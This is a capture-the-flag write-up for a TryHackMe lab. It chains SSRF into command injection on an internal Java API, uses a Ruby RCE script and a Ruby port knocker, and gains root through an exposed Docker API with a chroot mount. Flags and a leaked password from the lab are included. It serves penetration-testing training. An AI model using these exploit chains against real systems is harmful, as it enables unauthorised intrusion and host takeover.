添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description : Our devs have created an awesome new site. Can you break out of the sandbox?
  • Write-up

    Overview #

    Install tools used in this WU on BlackArch Linux:

    1
    $ sudo pacman -S gtfoblookup docker curl nmap burpsuite ssrf-sheriff ruby-httpclient

    Security.txt #

    What is security.txt ? Take a look at my article on the subject.

    On the web app we can hit /.well-known/security.txt :

    1
    2
    3
    4
    5
    6
    7
    Hey you found me!

    The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.

    See https://securitytxt.org/ for more information.

    Ping /api/fl46 with a HEAD request for a nifty treat.

    Let's do that.

    1
    2
    3
    4
    5
    6
    $ curl -I http://10.10.70.53/api/fl46
    HTTP/1.1 200 OK
    Server: nginx/1.19.6
    Date: Thu, 18 Mar 2021 09:21:55 GMT
    Connection: keep-alive
    flag: THM{edited}

    Web flag: THM{b801135794bf1ed3a2aafaa44c2e5ad4}

    Web discovery #

    Unauthenticated we can only see a login form. But I quickly discovered /robots.txt giving some interesting paths to try:

    1
    2
    3
    4
    5
    User-agent: *
    Allow: /
    Disallow: /api/
    # Disallow: /exif-util
    Disallow: /*.bak.txt$
  • /api/ : I have no information about the API yet so let's skip it for now
  • /exif-util/ it has an unauthenticated upload form
  • /*.bak.txt$ I'll be able to leak some source code with that
  • I retrieved the source code of the upload form at /exif-util.bak.txt .

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    <template>
    <section>
    <div class="container">
    <h1 class="title">Exif Utils</h1>
    <section>
    <form @submit.prevent="submitUrl" name="submitUrl">
    <b-field grouped label="Enter a URL to an image">
    <b-input
    placeholder="http://..."
    expanded
    v-model="url"
    ></b-input>
    <b-button native-type="submit" type="is-dark">
    Submit
    </b-button>
    </b-field>
    </form>
    </section>
    <section v-if="hasResponse">
    <pre>
    {{ response }}
    </pre>
    </section>
    </div>
    </section>
    </template>

    <script>
    export default {
    name: 'Exif Util',
    auth: false,
    data() {
    return {
    hasResponse: false,
    response: '',
    url: '',
    }
    },
    methods: {
    async submitUrl() {
    this.hasResponse = false
    console.log('Submitted URL')
    try {
    const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
    params: {
    url: this.url,
    },
    })
    this.hasResponse = true
    this.response = response
    } catch (err) {
    console.log(err)
    this.$buefy.notification.open({
    duration: 4000,
    message: 'Something bad happened, please verify that the URL is valid',
    type: 'is-danger',
    position: 'is-top',
    hasIcon: true,
    })
    }
    },
    },
    }
    </script>

    This will send our image URL, either a HTTP link ( http://example.org/image.png ) or data-URI ( data:image/png;base64,iVBOR... ) to an internal API ( http://api-dev-backup:8080/exif ). But we have an externally exposed API and trying to reach http://10.10.190.91/api/exif gives a 500 error because the endpoint exists but we did not provide any argument and it must be expecting the url too. So /api/exif exposed on port 80 must be the same API as /exif on the internal port 8080.

    But is there a difference in filtering between the production and backup API?

    For now I don't know, but with the error message I get I know it's a Java backend: An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection .

    Also if I make a SSRF to a controlled URL with ssrf-sheriff (eg. http://10.10.190.91/api/exif?url=http://10.9.19.77:8000 ) I retrieve the following entry leaking Java version (11.0.8):

    1
    2021-02-16T10:50:48.652+0100    info    handler/handler.go:105  New inbound HTTP request        {"IP": "10.10.190.91:53190", "Path": "/", "Response Content-Type": "text/plain", "Request Headers": {"Accept":["text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"],"Connection":["keep-alive"],"Te":["gzip, deflate; q=0.5"],"User-Agent":["Java/11.0.8"]}}

    Web exploitation #

    We can reach the internal dev APi via the public one (SSRF): /api/exif?url=http://api-dev-backup:8080/exif?url=xxx and it seems that the internal one is vulnerable to command injection:

    /api/exif?url=http://api-dev-backup:8080/exif?url=noraj;id

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    HTTP/1.1 200 OK
    Server: nginx/1.19.6
    Date: Thu, 18 Mar 2021 09:15:06 GMT
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 360
    Connection: close

    An error occurred: File format could not be determined
    Retrieved Content
    ----------------------------------------
    An error occurred: File format could not be determined
    Retrieved Content
    ----------------------------------------
    uid=0(root) gid=0(root) groups=0(root)

    Quick PoC in Ruby to ease the epxloitation:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    require 'httpclient'

    VULN_URL = 'http://10.10.70.53/api/exif'
    cmd = ARGV[0]

    data = {
    'url' => "http://api-dev-backup:8080/exif?url=noraj;#{cmd}"
    }

    clnt = HTTPClient.new
    res = clnt.get(VULN_URL, data)
    if /Request contains banned words/.match?(res.body)
    puts 'We hit blacklist'
    else
    stdout = /-{40}.+-{40}\s+(.+)/m.match(res.body).captures[0]
    puts stdout
    end

    Run it:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    $ ruby rce.rb id
    uid=0(root) gid=0(root) groups=0(root)

    $ ruby rce.rb 'ls -lhA /root'
    total 20K
    lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null
    -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
    drwxr-xr-x 1 root root 4.0K Jan 7 16:48 .git
    -rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig
    -rw-r--r-- 1 root root 148 Aug 17 2015 .profile
    -rw-rw-r-- 1 root root 201 Jan 7 16:46 dev-note.txt

    $ ruby rce.rb 'cat /root/dev-note.txt'
    Hey guys,

    Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.

    Anyways, the password is fluffybunnies123

    Cheers,

    Hydra

    $ ruby rce.rb 'ls -lhA /.dockerenv'
    -rwxr-xr-x 1 root root 0 Jan 7 22:14 /.dockerenv

    It seems we are running as root in a docker container and we found a password in dev-note.txt : fluffybunnies123 . It's a valid password for the web app or SSH.

    System enumeration #

    The note is saying file were removed and we have a git repository.

    Let's dig in the git repository:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    $ ruby rce.rb 'cd /root; git --no-pager log --oneline'
    5242825 fixed the dev note
    4530ff7 Removed the flag and original dev note b/c Security
    a3d30a7 Added the flag and dev notes

    $ ruby rce.rb 'cd /root; git --no-pager log HEAD~2 -p'
    commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
    Author: Hydra <[email protected]>
    Date: Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

    diff --git a/dev-note.txt b/dev-note.txt
    new file mode 100644
    index 0000000..89dcd01
    --- /dev/null
    +++ b/dev-note.txt
    @@ -0,0 +1,9 @@
    +Hey guys,
    +
    +I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
    +
    +Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
    +
    +Cheers,
    +
    +Hydra
    \ No newline at end of file
    diff --git a/flag.txt b/flag.txt
    new file mode 100644
    index 0000000..aae8129
    --- /dev/null
    +++ b/flag.txt
    @@ -0,0 +1,3 @@
    +You found the root flag, or did you?
    +
    +THM{edited}
    \ No newline at end of file

    Docker flag: THM{0cb4b947043cb5c0486a454b75a10876}

    Port knocking #

    The second dev note was telling us to do some port knocking on TCP ports 42, 1337, 10420, 6969, and 63000 to expose the docker port remotely.

    We can write a quick port knocker in Ruby:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    require 'socket'

    ports = [42, 1337, 10420, 6969, 63000]

    ports.each do |port|
    puts "[+] Port: #{port}"
    sleep 1
    begin
    s = TCPSocket.new '10.10.70.53', port
    s.close
    rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH
    next
    end
    end

    Also looking at the List of TCP and UDP port numbers we can find the docker related well known ports:

  • 2375: Docker REST API (plain)
  • 2376: Docker REST API (SSL)
  • 2377: Docker Swarm cluster management communications
  • It's will be most likely be exposed on port 2375.

    Let's port knock and then see if the docker port is open:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    $ ruby port-knock.rb
    [+] Port: 42
    [+] Port: 1337
    [+] Port: 10420
    [+] Port: 6969
    [+] Port: 63000

    $ nmap -p 2375 10.10.70.53
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-18 11:27 CET
    Nmap scan report for 10.10.70.53
    Host is up (0.034s latency).

    PORT STATE SERVICE
    2375/tcp open docker

    Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

    Docker enumeration #

    Let's use an environment variable ( DOCKER_HOST ) to use the remotely exposed one for our current session. Then we can enumerate.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    $ export DOCKER_HOST=tcp://10.10.70.53:2375

    $ docker ps
    CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
    49fe455a9681 frontend "/docker-entrypoint.…" 2 months ago Up 2 hours 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1
    4b51f5742aad exif-api-dev "./application -Dqua…" 2 months ago Up 2 hours dockerescapecompose_api-dev-backup_1
    cb83912607b9 exif-api "./application -Dqua…" 2 months ago Up 2 hours 8080/tcp dockerescapecompose_api_1
    548b701caa56 endlessh "/endlessh -v" 2 months ago Up 2 hours 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1

    $ docker image ls
    REPOSITORY TAG IMAGE ID CREATED SIZE
    exif-api-dev latest 4084cb55e1c7 2 months ago 214MB
    exif-api latest 923c5821b907 2 months ago 163MB
    frontend latest 577f9da1362e 2 months ago 138MB
    endlessh latest 7bde5182dc5e 2 months ago 5.67MB
    nginx latest ae2feff98a0c 3 months ago 133MB
    debian 10-slim 4a9cd57610d6 3 months ago 69.2MB
    registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 3 months ago 103MB
    alpine 3.9 78a2ce922f86 10 months ago 5.55MB

    There is a generic Alpine image.

    EoP: Docker exploitation #

    Let's check the GTFObin for docker and use it:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    $ gtfoblookup linux shell docker
    docker:

    shell:

    Description: The resulting is a root shell.
    Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh

    $ docker run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh
    # id
    uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
    # cat /root/flag.txt
    Congrats, you found the real flag!

    THM{edited}

    Root flag: THM{c62517c0cad93ac93a92b1315a32d734}

    tag cloud

    AWS CVE IoT adctivedirectory android anonymity apache api archlinux azure backdoor bash blind bruteforce bsd burp bypass c cache centos cgi cloud cms code code-review cracking cron crypto cryptography crytpo csrf ctf cve debian deserialization desirialize devops dns docker dotnet eop event exchange exploit exploitation extension fail2ban firefox flask forensics ftp gem git github gitlab gopher graphic graphql guessing hash hijacking htb http hyper-v idor imagetragick imap jail jar java javascript jinja joy json kerberos kvm laravel ldap lfi libraries lineageos linux log4j lua memcache metadata metasploit misc mobile mongodb motd msf nessus netbios netlify network news nfs nginx nikto nmap nodejs nosql omi open redirect opensuse osint otp owasp pacman pastejacking pcap pentest perl php pickle piracy pivoting powershell privacy programming proxy pwn python qbittorrent qemu race-condition rails raspberry-pi rce recon redis reverse root rpc rsync rtorrent ruby rzsh samba security service services shell smb smtp splunk sql sqli ssh ssrf ssti stegano sudo suid svn system thm tmux tomcat tor totp trivia update usenet user-agent virtualbox virtualization vpn vulnerability warez web webshell windows winrm wireshark wordpress writeups xss xxe zaproxy